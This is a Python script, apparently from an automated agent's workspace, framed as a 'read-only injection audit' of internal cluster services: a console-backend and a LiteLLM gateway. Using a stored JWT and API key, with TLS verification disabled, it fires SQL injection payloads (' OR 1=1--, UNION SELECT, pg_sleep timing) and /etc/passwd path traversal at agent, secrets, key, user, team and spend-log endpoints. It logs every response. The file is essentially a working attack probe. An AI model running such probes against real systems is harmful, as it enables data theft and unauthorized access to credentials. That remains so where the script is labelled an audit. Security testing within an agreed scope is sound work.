#!/usr/bin/env python3
# Read-only injection audit of internal data-layer services (console-backend + litellm gateway).
import json, time, ssl, urllib.request, urllib.error, urllib.parse
OUT = open("/opt/data/workspace/i26107/litellm_inj.out", "w")
def log(s):
    OUT.write(s + "\n"); OUT.flush()
CTX = ssl._create_unverified_context()
def req(url, method="GET", headers=None, body=None, timeout=12):
    h = {"User-Agent": "audit/1.0", "Accept": "*/*"}
    if headers: h.update(headers)
    data = None
    if body is not None:
        data = json.dumps(body).encode(); h["Content-Type"] = "application/json"
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    t0 = time.time()
    try:
        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
            return resp.status, resp.read(3000), time.time() - t0
    except urllib.error.HTTPError as e:
        return e.code, e.read(3000), time.time() - t0
    except Exception as e:
        return "ERR", str(e)[:140].encode(), time.time() - t0
def show(tag, url, method="GET", headers=None, body=None):
    sc, b, dt = req(url, method, headers, body)
    snip = b.decode("utf-8", "replace")[:200].replace("\n", " ")
    log("[%-22s] %-3s %5.2fs len=%d | %s" % (tag, sc, dt, len(b), snip))
    return sc, b, dt

log("### CONSOLE-BACKEND INTERNAL INJECTION SPOT-CHECK (pod netns) ###")
jwt = open("/opt/data/workspace/i26107/jwt.txt").read().strip()
CB = "http://console-backend.agentek.svc.cluster.local:3000"
H = {"Authorization": "Bearer " + jwt}
for tag, path in [
    ("base agents", "/api/agents?spaceId=476"),
    ("quote spaceId", "/api/agents?spaceId=476%27"),
    ("bool spaceId", "/api/agents?spaceId=476%20AND%201=1"),
    ("time spaceId", "/api/agents?spaceId=476;SELECT%20pg_sleep(3)"),
    ("path trav", "/api/agents/604/files/content?path=/etc/passwd"),
    ("skill trav", "/api/agents/604/skills/content?name=../../../../etc/passwd"),
    ("scope inj", "/api/secrets?scope=space%27&spaceId=476"),
    ("agentId inj", "/api/secrets?scope=agent&spaceId=476&agentId=604%27"),
]:
    show(tag, CB + path, headers=H)

log("")
log("### LITELLM GATEWAY INJECTION (pod netns) ###")
lk = open("/opt/data/workspace/i26107/lk.txt").read().strip()
LG = "http://litellm-gateway.agentek.svc.cluster.local:4000"
LH = {"Authorization": "Bearer " + lk}
q = urllib.parse.quote
for tag, path in [
    ("key/list", "/key/list"),
    ("key/info real", "/key/info?key=" + q(lk)),
    ("key/info quote", "/key/info?key=" + q("'")),
    ("key/info sqli", "/key/info?key=" + q("' OR '1'='1")),
    ("key/info union", "/key/info?key=" + q("x' UNION SELECT NULL--")),
    ("model/info", "/model/info"),
    ("model/info inj", "/model/info?model=" + q("' OR 1=1--")),
    ("user/info inj", "/user/info?user_id=" + q("' OR 1=1--")),
    ("team/info inj", "/team/info?team_id=" + q("' OR 1=1--")),
    ("spend/logs inj", "/spend/logs?api_key=" + q("' OR 1=1--")),
    ("spend/logs real", "/spend/logs?api_key=" + q(lk)),
    ("spend/logs user", "/spend/logs?user_id=" + q("' OR 1=1--")),
    ("global/spend", "/global/spend/logs?start_date=2026-01-01&end_date=2026-12-31"),
    ("v1/models", "/v1/models"),
]:
    show(tag, LG + path, headers=LH)

log("")
log("DONE")
OUT.close()
